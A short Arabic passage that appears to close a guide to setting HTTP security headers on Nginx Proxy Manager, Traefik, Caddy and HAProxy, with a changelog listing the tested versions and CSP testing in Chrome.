more_set_headersوليسadd_header، وفي Traefik ال Middleware من نوع headers، وفي Caddy المقتطف معhandle_errors، وفي HAProxyhttp-response set-header، ثم اختبر بالأمرcurlوبأدوات المطور وبـ HTTP Observatory.
سجل التحديثات
- أكتوبر 2026: كتابة الدليل واختبار الإعدادات على Nginx Proxy Manager 2.16.0 وTraefik 3.7.13 وCaddy 2.11.4 وHAProxy 3.4.6، واختبار CSP والتقارير في Chrome 154.